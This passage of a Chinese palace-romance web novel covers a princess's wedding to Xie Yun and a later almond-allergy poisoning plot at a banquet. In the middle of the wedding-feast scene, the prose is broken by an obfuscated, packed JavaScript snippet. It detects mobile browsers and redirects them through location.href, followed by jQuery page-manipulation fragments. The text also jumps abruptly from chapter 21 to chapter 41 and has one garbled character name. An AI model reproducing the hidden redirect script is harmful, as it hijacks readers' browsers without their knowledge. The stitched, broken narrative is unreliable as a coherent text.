紧接着,“哐当”一声巨响,一个黑乎乎的东西从饭馆门内呼啸着飞了出来。 那东西险险擦过姒华欢弯下的脊背上方,“咚”地一声闷响,不偏不倚,结结实实地砸在了站在姒华欢身后的谢昀额角上。 姒华欢听到身旁人的闷哼,和金属掉在地上发出“叮咣”的响声,直起腰看去,目瞪口呆。 地上赫然躺着一把沉甸甸的大铁勺。 一时间,她竟不知是该震惊于谢昀居然被一把从天而降的大铁勺砸了个正着,还是该庆幸自己恰好弯腰躲过了一劫…… 谢昀身形晃了晃,殷红的血珠迅速从他额角被砸破的地方渗出,蜿蜒而下,在白皙的皮肤上显得格外刺目。 “谢昀!”姒华欢惊呼一声,也顾不得许多,慌忙掏出自己的丝帕,手忙脚乱地按在他受伤的额角上,“你,你没事吧?” 这时,饭馆里一个胖乎乎的掌柜急匆匆跑回来捡勺子,一抬眼看到额角流血的男子,衣着华贵,一旁的女子更是气度非凡,吓得脸都白了。 他连连作揖告罪:“哎呦我的天爷!贵人恕罪!小的和家里那脾气爆的婆娘拌嘴,她抄家伙就扔,小的万万没想到会砸到贵人啊!您……您着伤得重不重?这这这,这可如何是好啊!” 掌柜语无伦次,生怕是砸到什么达官显贵,这飞来横祸让他赔得倾家荡产。 谢昀只觉得被砸的地方隐隐作痛,脑子嗡嗡作响,一阵阵眩晕感袭来。 他闭了闭眼,心中只有一个念头:知道自己倒霉惯了,没想到会倒霉至此,飞来大铁勺这等荒唐事竟也能被他碰到。 “还能走吗?”姒华欢问。 他将手搭在姒华欢纤弱的肩膀上,借力稳住自己的身体,任由姒华欢用丝帕紧紧按着他的伤口,声音有些发虚:“无妨……就是有点晕。” 这看起来哪里像没事的样子? 姒华欢看他脸色发白,额上冷汗涔涔,心下也有点慌了,连忙招呼魏紫和谢昀的长随杜风扶他上马车。 马车内空间宽敞,谢昀靠在软垫上,眉头紧锁,自己按着额角的帕子。 “姚黄,你骑谢昀的马,快马加鞭回宫去找江鹤舒。” 姒华欢对车外姚黄吩咐完,回头,眼疾手快地用一根食指抵住要往她身上靠的谢昀:“你干什么?” “我头晕,借我靠一下。”他声音听起来有气无力。 姒华欢推了他一把,“一边儿去。” 谢昀面上仍维持着虚弱,重新闭上眼,眉头蹙得更紧,“我是真的晕……那勺子沉得很。”说着,又作势要往她那边倒。 姒华欢依旧不让步,瞪着谢昀。瞪着瞪着,忍不住笑了出来。 她所期望的谢昀倒霉,竟今日在她眼皮子底下实现了! “你还笑?”谢昀挑眉。 “怎么?想到了高兴的事情还不能笑?”姒华欢幸灾乐祸地抬手去揭他额上的帕子,“给我看看。” 刚刚事发突然,一见到血她想都没想就捂上了,都还没来得及看清伤口到底有多惨烈。 谢昀坐正了身子,向后躲闪,“嘶,别动,疼着呢。” 姒华欢只好作罢,待回宫交给江鹤舒处理好了。 目光不经意扫过,姒华欢的注意力被他那只裹着雪白的细布的手吸引了。 实在是想不注意到都难,他那只手在她眼前直晃,异常刺眼。 “你的手怎么样了?” 谢昀叹了口气,摇头:“如临风所言,伤口太深,易崩裂,难以恢复,可能还需要一段时日。” 她的注意力全放在他修长有力的手上。 以前从未注意到过,他的手竟这样漂亮。手掌很大,手指骨节分明,白皙修长,关节处还隐约泛着淡淡的粉色。 可惜,这样一双好手生在了谢昀身上,简直是暴殄天物。 谢昀注意到她炙热的视线,屈了屈指节,“喜欢?” 姒华欢一时没反应过来:“喜欢什么?” “我的手。” “少自恋了。”姒华欢翻了个大大的白眼,“我没那个癖好。” 至少对他没有。 “我这两次可都是因你而伤的。”谢昀企图唤起她一点良知。 “怎能赖到我头上?”姒华欢好笑道,“今日纯粹是你倒霉好吧?” “怎么也算是给你挡了一灾吧,若我不在,兴许就砸到你了呢。” “你有没有想过,兴许是因为你在,我才会遇上这事?” 谢昀:“……” 他竟无言以对。 这就是一个“鸡生蛋还是蛋生鸡”的问题,是辩不出结果的。 姒华欢美滋滋又吵赢一架,像只骄傲的孔雀洋洋得意,谢昀偃旗息鼓,之后二人一路无言。 姒华欢本意让姚黄把江鹤舒带到谢昀的嘉瑞殿,谁知回宫一看,姚黄竟把江鹤舒径直带回了她的永安宫。 她只好不情不愿地带谢昀进了永安宫的大门。 “又伤了?”江鹤舒一见他捂在额角染血的帕 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看江鹤舒动作慢吞吞地给谢昀清理伤口,姒华欢问:“你有没有什么灵药或者方子,能让他的伤口好得快些?” 江鹤舒稀奇地瞥了她一眼:“你急着让他快点好?” 谢昀也向她投来一个意外的眼神。 “当然。”姒华欢托腮,“本来现在外面流言四起,说是他被逼无奈娶我。如果大婚当日看到他的脸上手上都是伤口,指不定又要编排成什么样子,还以为我们皇家是用了什么非常手段胁迫他成婚的呢。” 虽然大婚只是走个过场,但当日不仅有王公大臣们看着,满京城的百姓也会看到,皇家的脸面总要顾全。 谢昀默默地闭上眼,方才心底升起的那点微末的意外瞬间烟消云散。 他到底在期望什么呢。 江鹤舒:“再过五日便是大婚之日了,这额头上的伤怕是好不利索,只能拿脂粉遮一遮了。” 谢昀不赞同:“用粉的话动一动就容易有痕迹。” 江鹤舒:“你别动不就行了。” 谢昀:“……” “不就是几根冬虫夏草吗?”他忍无可忍道,“我赔你就是了!” 江鹤舒这家伙看药材比看钱袋子都紧,有人偷他五十两银子都不为所动,有人偷他五钱药材就要跟人家拼命。 “五倍。”江鹤舒张开手掌。 谢昀咬牙道:“行。” 江鹤舒狠狠讹了一笔,立刻笑逐颜开:“我刚好有一瓶上好的消肿药,包五日后看不出痕迹的。” “呵呵。”谢昀冷笑两声,“还好你没入朝为官,不然定是个大贪官。” 江鹤舒伸出一根食指摇了摇,“这可是看在你的面子上开的友情价。” “……我还得谢谢你?” “不客气。”江鹤舒抬起头,突然满眼同情,“就当是为你的好日子践行吧。” 谢昀一时没听明白,姒华欢倒听明白其中深意了,向江鹤舒神秘一笑。 可不是嘛,谢昀的好日子,马上就到头了。 21. 第 21 章 自飞来大铁勺事件过后,姒华欢与谢昀便再没见过面。 大婚前,按礼应遵循婚嫁六礼。但由于公主降嫁,因此六礼的施行也是徒有虚名,整个流程由皇家一手操办,夫家只能惟命从之。 姒华欢与谢昀不用操什么心,只跟着尚宫、司仪反复练习了大婚当日的礼仪,安心等待吉日的到来即可。 五日一晃而过。 婚礼即“昏礼”,在傍晚时分举行。 公主出降礼盛大,从皇宫出发的仪式极为隆重,因此从晨起,数十名经验老到的尚宫、宫女早已严阵以待。 上午经过精心的沐浴焚香等繁琐仪式,姒华欢身着素白中衣,端坐于巨大的菱花铜镜前。两名专司梳妆的尚宫上前,小心解开她如瀑的墨发,为她盘起繁复发髻。 随后在发髻正中,稳稳簪上华贵的花钗九树礼冠,金凤、翠翟、珍珠和各色宝石缀满冠体,两侧博鬓垂下,几乎及肩。这顶冠的重量非比寻常,需有宫女在旁小心扶持。 一戴上礼冠,姒华欢脖子立刻僵直。要是被这冠压上半日,明日她的脖子便动不了了。 她把这股气都记在了谢昀头上,若不是他作妖,她何至于这般受罪。 今日面状亦极近精致,傅粉、施朱、描黛、点唇,每一步都由不同宫女完成,最后在额间贴上赤金箔片剪成的牡丹花钿,才算完成。 吉时将至,尚服局女官率人抬进巨大的紫檀木衣箱。姒华欢起身,由八名宫女服侍,层层穿上礼衣。 此刻的她周身笼罩在庄重华贵的深青与赤金之中,珠玉环佩,行动间发出清脆而规律的轻响。 盛装完毕,已过去两个时辰,姒华欢在尚宫、傅姆及众多宫女的簇拥下,移步至蓬莱殿正殿。 嘉平帝与皇后已端坐于上首御座,她行至御座前约十步处,依照礼仪,深深下拜。 二人看着盛装华服的爱女,眼中俱是欣慰与不舍。 嘉平帝双眼偶闪泪光,悄悄凑近皇后,吸了一下鼻子,痛心疾首道:“灵秀,朕现在后悔还来得及吗?” 皇后依旧端坐在位,微笑着,用腹语道:“陛下,朝臣宗亲们都看着呢。” 没得到安慰,嘉平帝只好坐正,想了想,没有说应该说的“当谨守妇德,承顺舅姑,和睦宗族”。 只道:“康乐,记住你的身份,莫失皇家体统,亦莫委屈了自己。” 姒华欢恭敬应答:“儿臣谨遵父皇母后教诲。” 帝后赐见完毕,她步出蓬莱殿,殿外属于公主的庞大卤簿仪仗早已等候多时。她踏着金脚踏,登上厌翟车,尚仪高声唱礼:“起驾!” 随着一声令下,整个卤簿仪仗缓缓启动,清道旗在前,卫士开道,鼓吹乐起。 厌翟车在前后仪卫与宫官的严密簇拥下,沿着宫中预设的吉道,向举行婚礼的大殿——麟德殿行去。 队伍浩浩荡荡,延绵数里,所经之处,宫内侍卫与宫人皆跪伏于道旁,不敢仰视。 厌翟车抵达麟德殿前广阔的广场,仪仗分列两侧,留出中央通道。 姒华欢远远便看到谢昀身着绛色婚服,腰束玉带,身姿挺拔如松,早已率傧相在殿前阶下恭候,身后是谢家族老。 尚仪再次高唱:“请公主降车!” 姒华欢在傅姆的搀扶下,缓缓步下厌翟车。 她的翟衣在阳光下闪耀着璀璨的光泽,礼冠上的珠翠折射出点点光芒,仪态万方,威仪天成。 广场上所有观礼的官员、命妇以及宗室贵戚们,目光皆聚焦于她的身上。 谢昀走上前,英挺的眉目撞入眼帘,那双总是对她挑衅或戏谑的眼眸,此刻却凝滞了一瞬,定定地望着她。 周遭的一切喧嚣仿佛被无形的屏障隔绝在外,只余下他们二人在这方寸之地。 半晌,他薄唇微动,压低声音道:“很美。” 姒华欢目光先扫过他的额头,确实已经看不大出痕迹了。随后瞪他一眼,嘴巴在喜扇的掩饰下,咬牙切齿道:“给你打扮一整天,你也能很美。” 谢昀无声抿唇轻笑,在宫女的簇拥下,与姒华欢并肩步入装饰得无比华丽的麟德殿正殿。 殿内铺设着崭新的红毡,巨大的龙凤喜烛高燃,香烟缭绕。帝后已升坐主位,王公大臣与命妇依照品阶肃立两侧。 殿中央,已设好两张并排的婚案,案上铺着朱红锦缎,锦缎上放着几个礼器。 一个被分成两半的匏瓜,两尊盛满清酒的爵,以及数碟象征性的食物,如黍、豚等。 二人行至婚案前,先向帝后行四拜大礼,再转向对方,互行两拜之礼。 姒华欢深吸了口气,俯身,对着同样弯下腰来的谢昀低头拜下。起身那一刻,她头上的冠突然被什么东西扯住,让她无法抬头。 是她冠沿垂下的珠络,不偏不倚地勾住了谢昀的一缕发丝。 对面谢昀身体也一僵,被迫维持着半起身的别扭姿势,脖颈梗在那里动弹不得。 尚仪高唱了两遍礼毕,两人都没有抬头的迹象,观礼宾客面面相觑,用眼神议论纷纷。 姒华欢又试着抬头,对面之人忍不住“嘶”出了声。 她问道:“怎么办?” “……叫人来解开吧。” 姒华欢绝望地闭上眼睛。 这般吉日都能遇见倒霉事,她真的觉得她和谢昀八字不合,怎么就没人信呢? 与其一辈子被人耻笑这尴尬的场面,不如来个痛快。 她心一横,不管不顾地狠狠一抬头。 在极静的大殿中,她仿佛听到了发丝断裂的轻响。 谢昀闷哼一声,紧咬下唇才硬生生把差点脱口而出的痛呼咽回去,一双桃花眼瞪得滚圆,难以置信地看着她。 那缠住的可不是一根头发,而是一缕! “你真是……心狠。”他低声道。 姒华欢没理他,若无其事地先行跪坐于婚案后。 尚食女官上前,分别从同一个鼎中取出少量食物,两人各自象征性地食用一点。 寓意夫妇从此共食一牲,同甘共苦,合为一体。 若不是在场有许多双眼睛盯着,姒华欢恨不得马上把口中豚肉吐出。 谁要跟他同甘共苦,合为一体。 最后,女官将匏瓜的两半分别斟满清酒奉上,二人双手接过,尚仪唱:“行合卺礼!” 姒华欢与谢昀要先各自饮半瓢酒,女官再将二人手中的瓢交换,二人再饮尽对方瓢中剩下的半瓢酒。 象征夫妇二人从此合二为一,祸福与共。 姒华欢接过谢昀剩下的半瓢酒,一脸嫌弃,将他喝过的位置转到对面,咬着牙,闭着眼才能喝下。 饮毕,要将两片匏瓜用红丝线系在一起,放入锦囊,寓意永结同心。 姒华欢故意系得松松散散,敷衍非常,谢昀突然伸手拿走她手中的线,十分善解人意道:“我来吧。” 女官八卦的眼神在二人之间来回扫,垂眸忍笑。 怎么看二人怎么般配,明安侯还这般宠溺康乐公主,陛下真是赐了桩好姻缘呢! 谢昀认认真真地系紧红丝线,又扯了两下扯不开,才放心地放入锦囊中。 观礼宾客看到这一幕都不由浅笑,手肘偷偷捅身边的人,默契地交换一个八卦的眼神。 接下来按礼应拜见公婆,但因公婆已故,二人的位置上放置的是覆盖红绸的牌位,此流程也简化许多。 谒舅姑礼毕,嘉平帝宣布赐宴。 麟德殿内外早已设好数百席,由光禄寺官员指挥内侍、宫女如流水般奉上珍馐美味,殿内乐声四起。 此时殿外天边残阳将尽,姒华欢终于能松口气了。 她自从早膳后,滴水未进,早已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16289494|181515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饥肠辘辘。看着为她布菜的傅姆动作缓慢,心里有些着急,“我自己来吧。” 傅姆拦下她的手,道:“殿下需保持仪态,浅尝辄止,多饮清茶。” 正要起身去与宾客们敬酒的谢昀转头看了她一眼,眼神中尽是得意与忍俊不禁,她不客气地狠狠剜了他一眼。 自己的婚宴自己却吃不得,姒华欢深吸一口气,端起茶盏一饮而尽。 在饮了二十杯茶后,这场盛大的宫宴终于结束。帝后起驾回宫,两位新人则在庞大仪仗的簇拥下,前往明安侯府。 队伍浩浩荡荡穿过京城的主要街道,天色已晚,道路两旁的树上插满了火把。街道早已由羽林军净街,百姓被允许在道路两旁观看。 人们争相目睹这皇家盛世,惊叹于仪仗的威严、车驾的华美以及传说中相貌惊为天下人的新婚夫妇。 仪仗绕城一圈后,抵达明安侯府,姒华欢又累又饿,一动都不想动。 谢昀先行下车,递给她红绸的另一端,见她无精打采,迟迟不接,小声道:“不想走了的话,我抱你进去?” 姒华欢一听起了满身的鸡皮疙瘩,咬牙切齿地接过红绸。 谢昀恶心她真有一套! 进门需跨火盆,姒华欢看着眼前窜出老高的火焰,攥着裙摆,不敢迈步。 傅姆在一旁催促:“殿下,再拖下去恐误了入洞房的吉时。” 她正琢磨着要不要硬着头皮跳过去,忽然腰间一紧,还没反应过来,整个人就腾了空。 谢昀单手揽着她的腰一转,她感到眼前一阵天旋地转,鞋尖堪堪擦过火苗,人已经稳稳落在了对面。 “你!”她惊魂未定地揪住他前襟,周围顿时响起一片哄笑。 姒华欢红着脸拍开他的手,闷头扯着他往府中走。 在府内正堂再次进行了简化的拜天地仪式,二人被送入精心布置的洞房。 屋内红烛高照,帐幔低垂,床上铺着百子千孙被,案几上摆着象征吉祥的枣、花生、莲子等物。 谢昀被傧相带着到外面酬谢宾客,洞房内只余下姒华欢,和早已恭候的尚仪等人,就等着最重要的结发礼。 终于结束了。 姒华欢随手把喜扇丢到案几上,从盘中捏出一颗花生剥开优雅地放入口中,对她们道:“还有什么礼都省了,你们回去吧。” 只是走个过场而已,在宫中时被许多双眼睛盯着没法省去流程,如今眼下就几个人了,还做样子给谁看。 尚仪面露难色。 大婚之礼不完成,不吉利呀! 得不到回音,姒华欢懒懒掀起眼帘扫了她们一眼:“怎么,本公主支使不动你们了?” 尚仪、傅姆和所有宫女内侍们交换过眼神,恭敬地向她行跪拜大礼:“恭贺公主殿下与驸马新婚大喜,百年好合!”说完,众人悄然退下,掩上屋门。 姒华欢不耐烦地按按耳朵。 临走前还净说些她不爱听的。 门刚关上又被叩响,外面传来杜风的声音:“殿下,要传膳吗?” 传膳?她递给姚黄一个眼神,姚黄会意上前开门,问杜风:“传什么膳?” 杜风回道:“麟德殿时殿下未曾用膳,侯爷便差人回侯府,让厨房给殿下备了晚膳,现在要传吗?” 姒华欢一愣,原来当时谢昀去敬酒前看她的那一眼,不是嘲弄,而是注意到她不能进食。 她早已饿得前胸贴后背,没必要和自己的胃过不去,便道:“传。” 不一会儿,桌上摆满了二十四道菜,和她在宫中时每日用膳的规制相同。 她轻哼一声,算谢昀的良心未完全泯灭。 头上的礼冠太重,重到她几乎都转不动脖子了,忙让姚黄魏紫给她把冠卸下来,终于是解脱了一大半。 姒华欢坐到桌前,刚执起筷子,谢昀回来了。 40-50 第41章 是谁要致公主于死地?…… 谢昀猛地站起身, 动作之大带得案几都发出一声沉闷的拖响。 “姒华欢!”他低声唤她的名字,声音不复平时的冷静。 他大跨步来到姒华欢身旁,俯下身, 抓住她还在挠着脖颈的手腕。 触手一片滚烫, 指尖下探到的脉搏跳得又快又乱,他虽不懂医术, 但也能很明显意识到脉搏的不对劲。 “你怎么了?”他看着那些红疹已经蔓延到了她的脸颊, 语气急促, “还有哪里不舒服?” 姒华欢只觉得痒意和窒息感如同潮水般涌来, 一浪高过一浪,头脑也开始发沉,谢昀的声音仿佛隔着一层水传来, 有些模糊。 她张了张口,想说话, 喉咙却实在肿得厉害, 难以发出声音。 这种感觉难受又让人害怕, 她下意识反手抓住他的衣袖,指尖因为用力而微微发白。 这边的动静终于打破了宴席间原本和乐的氛围。 丝竹声未停,周遭的谈笑声却低了下去,越来越多的人不明就里地转过头, 看向半拥着康乐公主的明安侯。 嘉平帝和姒华容也注意到了下方的骚动,目光投了过来, 带着询问。 谢昀根本无暇顾及那些投来的目光, 看到姒华欢呼吸越发困难,眼神都有些涣散,自己受伤都没有害怕的他,此刻心头一沉。 他抬头, 目光如炬扫向四周呆立的宫人,声音拔高,厉声喝道:“还愣着干什么!传太医!快传太医!” 乐声戛然而止,乐师和舞姬们惊慌地停下动作,满殿寂静无声,所有人的目光,都聚焦在了二人身上。 是姚黄先反应过来,对魏紫急道:“你去太医署找太医!我去立政殿找江太医!” 两个人分头去找,总归会有一边来得快些。 魏紫虽也担心公主,但有明安侯在公主身边,她没有丝毫犹豫,和姚黄先后跑出了大殿。 殿中其余的人面面相觑,不知所措。 他们何曾遇到过此等突发状况,更不通医术,只能眼睁睁看着康乐公主痛苦,束手无策。 嘉平帝与姒华容疾步从座位走下,来到近前。嘉平帝面色沉凝,眉头紧锁,姒华容更是焦急万分,他蹲在姒华欢的椅子旁连声唤道:“蓁蓁?蓁蓁!” 姒华欢意识已有些模糊,只能艰难发出“嗬嗬”的吸气声。 就在这时,一道清亮的女声响起,压过了殿内细微的骚动:“陛下,太子殿下,公主此状似是风疹之症。” 众人寻声望去,只见一位身着淡雅宫中的女子快步上前,正是薛相之女薛宝芝。 她面容沉静,虽带忧色,却不慌乱,对着嘉平帝和姒华容盈盈一礼,语速快但清晰:“陛下,太子殿下,臣女略通医术,公主此证极似书中所载之风疹。乃因误食或误触某些发物,引动内风,发于肌肤则为红疹,缠塞喉间则致呼吸窒闷。” “此症来得急猛,若喉窍彻底闭塞,顷刻间便有性命之危。太医赶来尚需时间,若陛下与太子殿下信得过臣女,臣女或可先行施针,尝试缓解公主喉间急塞,为太医争取时间。” 嘉平帝与姒华容对视一眼,眼中皆是惊疑与权衡。 此危急关头,无论姒华欢厌恶薛宝芝与否,都不重要,只要能救她便好。 且薛宝芝看起来似乎并无恶意,或可一试。 姒华容忽然想起,多年前妹妹幼时那次惊险,当时江老太医确实曾面色凝重地嘱咐过:公主此体质特异,若再遇此症,发作极快,万万延误不得! 再看姒华欢,她的唇色已隐隐发绀,呼吸微弱。姒华容再无犹豫,当即对薛宝芝道:“薛姑娘,有劳你即刻施针,务必救下公主!” 薛宝钗得了允准,立刻从随身侍女手中经过一个小小的锦袋,取出数枚细长的银针,蹲下身,对半抱着姒华欢的谢昀道:“侯爷请稳着公主,莫让公主乱动。” 谢昀紧抿唇,手臂稳稳托着姒华欢绵软无力的身躯,目光锐利地落在薛宝芝手中的银针上,带着警惕。 薛宝芝凝神,指尖在姒华欢颈侧与耳后稍作按寻,看准穴位,手法稳且快递刺入数针。随后她又执起姒华欢的指尖,用银针刺破。 暗红色的血珠立刻涌了出来,一滴接着一滴,落在姒华欢华贵的衣裙上。 谢昀看着那血珠,眉头蹙紧,一瞬不瞬地盯着薛宝芝的动作,眼神愈发深邃。 他从未得到过薛宝芝懂医术的消息。 上次他发现姒华欢露出对薛宝芝毫不掩饰的厌恶,特意派人去查过薛宝芝,并无异样,也查不到两人之间有何仇怨。 但若是两人之间从前有什么他不知道的过节,薛宝芝想趁机报复,无需冒着生命危险请命为姒华欢施针相害。 她真的是单纯想救姒华欢吗? 然而,奇迹般的,在姒华欢指尖挤出些血后,她急促的喘息声竟稍稍平缓了一些! 姒华欢似乎耗尽了所有力气,头一歪,彻底昏厥过去,但胸口的起伏比之前明显了很多。 谢昀紧绷的心弦微微一松,将恐慌压回心底。 薛宝芝见状,也暗暗松了口气,额角已渗出细密的汗珠,起身再次向嘉平帝和姒华容行礼:“陛下,太子殿下,幸不辱命,公主喉间急塞暂得缓解,性命应是无碍了。但身上的风疹还需服用对症汤药,并以药汁擦洗,方能消退痊愈。” 殿外传来急促的脚步声,姚黄几乎是一路小跑,拉着发冠歪斜、气喘吁吁的江鹤舒冲了进来。 “江太医来了!江太医来了!”姚黄喊道。 江鹤舒也顾不得整理衣冠,一眼看到被谢昀抱在怀中昏迷不醒,脖颈发红的公主,脸色大变。 他疾步上前,两根手指迅速搭在姒华欢腕间,凝神细诊,又轻轻掀开她的衣袖,看到那大片大片的红疹,眉心紧拧成结。 “是风疹,而且极为凶险。”江鹤舒声音凝重,语速极快,“快!取纸笔来!” 魏紫急忙呈上纸笔,江鹤舒唰唰写下一张药方:“速去煎药!文武火交替,三碗煎成一碗。” 他又从药箱中取出一个瓷瓶,倒出一粒褐色药丸,塞入姒华欢口中。 做完这些,他才问道:“是谁为公主施针?” “是我。”薛宝芝在一旁开口应道,“情急之下不得已而为之,还请江太医见谅。” 江鹤舒一脸没料到的表情,语气带着由衷的赞许:“幸亏薛小姐及时施针,公主已脱险境,暂无性命之忧。待汤药煎服,细心调理几日,便可安然痊愈。” 嘉平帝闻言,一直高悬的心这才重重落下:“怎会突然犯了风疹?” 江鹤舒:“此症罕见,多因食用某些特异之物引发。公主今日用了何物?” 谢昀扫过桌案上的菜肴,目光落在那碗吃了一半的雪酥山上,沉声开口:“方才呈上这雪酥山的宫女何在?” 那名负责上菜的宫女早已吓得魂不附体,闻言连滚带爬地跪倒在地,浑身抖如筛糠:“侯爷饶命!奴婢、奴婢什么都不知道!” 谢昀不理她的求饶,只盯着她,冷道:“这雪酥山中,可曾加入了杏仁或是杏仁粉?” 宫女伏地磕头,声音带着哭腔:“回侯爷,没有!绝对没有!公主不喜杏仁,陛下曾下令御膳房中不得出现此物,这雪酥山上用的是木薯粉,断不敢放入杏仁啊!” 谢昀记得很清楚,姒华欢并非不喜杏仁,而是绝不能碰杏仁。 姒华容曾无比后怕地向他提起过,姒华欢约莫两岁时,乳母不慎为了她一口杏仁糕,顷刻间便全身起了红疹,喘不上气,情形与今日几乎一模一样! 万幸当时江老太医正在立政殿为皇后请平安脉,救治及时才捡回一条命。 自那以后,宫中便严密封锁了消息,只对外宣称公主极其厌恶杏仁味,御膳房和所有相关之处严禁出现杏仁及其制品,以防万一。 因是幼年旧事,谢昀并未亲见,方才情急之下竟一时未能想起。 江鹤舒端起那碗雪酥山细细查验,用指尖沾取盘边一点用来模拟雪屑的白色粉末,放在鼻子下仔细嗅闻,眼神一凛,立刻抬头对谢昀道:“这其中掺杂了杏仁粉!” “公主十几年未再接触此物,早已不记得其味道,加之混在牛乳冰品之中,自是分辨不出。” “什么!?”姒华容脸色大变,看向那跪地对宫女,眼中带上厉色。 嘉平帝道脸色瞬间铁青,眸中怒火翻涌:“将御膳房一干人等,全部给朕带上来!” 不过片刻,御膳房掌管点心制作的御厨、帮厨以及经手此物的宫人十余人,全部被侍卫压了上来。 嘉平帝目光冰冷地扫过他们,“说!是谁胆大包天,竟敢往公主的膳食中加杏仁粉!朕早已明令,御膳房绝不许出现此物!你们是想谋害朕的公主吗?!” 殿内气氛凝重得可怕,底下跪着的人们浑身发抖,磕头如捣蒜,纷纷哭喊:“陛下明鉴!奴婢就算有一万个胆子也不敢啊!” “御膳房绝不会采买杏仁和杏仁粉,奴才实在不知这杏仁粉从何而来啊!” “是啊陛下!不是奴婢们放的!” 一片混乱的求饶声中,嘉平帝怒极反笑:“无人承认?好!很好!看来你们是不见棺材不落泪,来人!将这些胆大包天的全都拖出去砍了!” “陛下饶命!陛下饶命!”御膳房众人哭喊成一片,俯地求饶。 御膳房总管向前跪行几步,声嘶力竭地喊道:“陛下!从御膳房到麟德殿中经过数人,说不定……说不定是有人想谋害公主,嫁祸于御膳房啊陛下!” 殿中众人皆是一惊,面面相觑。 他所言确有道理。不过康乐公主虽平日里骄纵任性了些,却并未做出过什么伤天害理的事。 究竟是谁这般容不下公主,要致公主于死地? 第42章 他何必在这守一晚? 嘉平帝闻言脸色更沉。 康乐不能食杏仁一事, 宫中知晓之人屈指可数,都是贴身侍候的心腹。 若是有人处心积虑要谋害康乐,还能得知晓这个秘密, 甚至混在宫中, 那么康乐的处境将会变得极其危险。 就在他思考要如何调查此事时,一个跪在稍后位置的小宫女突然崩溃大哭:“是奴婢!是奴婢带进来的杏仁粉!” “奴婢托人从家乡捎来的……本想自己偷偷做些杏仁茶喝, 不想今日在御膳房不慎将那盛放杏仁粉木薯粉的罐子打翻, 混在了一起……奴婢真的不是故意的!陛下饶命啊!” 众人松了口气, 还好不是有人蓄意谋害公主, 原只是一个粗手粗脚的小宫女犯下的糊涂事。 好在这个小宫女心眼不算太坏,主动站出来言明真相,没拉着御膳房其余人给她陪葬。 嘉平帝彻底失去耐心:“蠢钝不堪!罪无可赦!拖出去, 即刻杖毙!” 小宫女一声凄厉无比的“陛下饶命”尚未喊完,便被侍卫毫不留情地堵住嘴, 粗暴地拖拽了出去。 殿外很快传来沉闷的仗击声和隐约可见的惨叫, 随即很快归于寂静。 殿内鸦雀无声, 落针可闻,所有人都被天子的震怒惊得大气不敢出。 嘉平帝余怒未消,目光扫过殿中跪成一团的其余御膳房人等,冷声道:“其余人等, 监管不力,各杖责二十, 罚入掖庭苦役。” 处理完这一切, 皇帝才疲惫又心疼地看向被谢昀小心翼翼护在怀中,已然昏睡过去的女儿。 这时,姚黄端着刚煎好的汤药疾步走进来。 江鹤舒接过,仔细查验后, 示意谢昀帮忙。谢昀小心翼翼将姒华欢扶起些许,让她靠在自己怀中,动作轻柔至极,与方才的冷厉判若两人。 喝完药,江鹤舒才彻底松了口气,向嘉平帝回禀:“陛下,汤药已服下,公主已无大碍,只需静养即可。” 谢昀打横抱起姒华欢,向嘉平帝道:“陛下,臣先送公主回寝宫。” 嘉平帝挥了挥手,示意准了。姒华容亦步亦趋地跟着,连声叮嘱:“小心些。临风,你也一同去。” 谢昀抱着姒华欢大步流星地离开麟德殿。 殿内灯火通明,一场本该欢愉的宫宴,竟以如此惊心动魄的方式戛然而止。 林妙晴不动声色地收回落在薛宝芝身上的目光,转身时唇角微勾,眼底透露出一股兴味。 方才那一幕,她看得分明。 薛宝芝向那小宫女极快地使了个眼色,那小宫女便心一横,扑通一声跪地认罪了。 这杏仁粉,想必就是薛宝芝的手笔了。 急着推那小宫女认罪,无非是怕嘉平帝按照谋害公主的罪名查下去,牵连到她自己身上。 先不说薛宝芝有通天的本领得知康乐不能食杏仁的密辛,她……竟恨康乐至此? 既然有人迫不及待演这出鹬蚌相争,那她便安然坐收渔翁之利咯。 嘉平帝回到御座,面色稍霁,看向薛宝芝的目光充满赞赏:“薛家女儿,很好!临危不乱,细心大胆,救了康乐一命,朕重重有赏!” “赐东海明珠一斛,云锦十匹,黄金千两,另赐玉如意一对,以示嘉奖!” 薛宝芝一喜,从容下拜:“臣女谢陛下厚赏。此乃臣女本分,公主平安即是万福。” 林妙晴这才明白,今日这一出都是薛宝芝自导自演。 听闻薛宝芝在擢选太子妃的行列之中被剔除了,她便精心策划了这一出好戏—— 利用“救命之恩”来吸引嘉平帝和太子的注意,增加好感。并让康乐在道德和感情上都欠下无法偿还的“债”,从而便于日后利用。 真是一举两得的好计谋。 ***** 永安宫。 谢昀小心翼翼将怀中人安置在铺着软锦的床榻上,动作轻柔得仿佛对待一件易碎的稀世珍宝。 姒华欢昏睡着,脖颈和胸前的红疹依旧触目惊心。 谢昀拉过锦被,仔细为她掖好被角,指腹抚过她颈侧那片滚烫的肌肤,心头像被细针狠狠刺了一下,泛起细密的疼。 她睡得极不安稳,秀气的眉头紧紧蹙着,无意识发出几声难受的嘤咛,一只手从被中探出,就要往红肿的手臂上抓挠。 “别动。”谢昀低声阻止,一把握住她纤细的手腕。他不敢用力,只得轻轻握着,以防她那保养得宜的指甲划破自己娇嫩的肌肤。 他就这样握着她的手腕,守在床边,直到门外传来脚步声。 江鹤舒领着一名手捧铜盆的宫女走了进来,盆中是浅褐色的药汁,散发着浓重的苦涩草药气味。 “景初,”江鹤舒低声道,“这是清热止痒的药汤,为公主擦拭周身红疹之处,可缓解刺痒,防止溃烂。需连续擦洗三五日,这疹子方能慢慢消退。” 谢昀点了点头,目光仍落在姒华欢身上,未曾移开。 “会留疤吗?”他问。 她那么爱美,若是身上留了疤,不知要多难过。 江鹤舒道:“只要不抓破便不会留疤。” 谢昀这才放心下来。 魏紫拿着几方柔软的帕子快步走进来,立到床旁,看着谢昀和江鹤舒,没有立刻动作,只是安静地站着。 江鹤舒马上明白过来,轻咳一声:“景初,公主得擦药了,这……” 谢昀全部心思都挂在姒华欢身上,一时竟未解其意,见魏紫拿着帕子欲言又止,以为是递给他,便极其自然地伸手去接:“好,我来吧。” 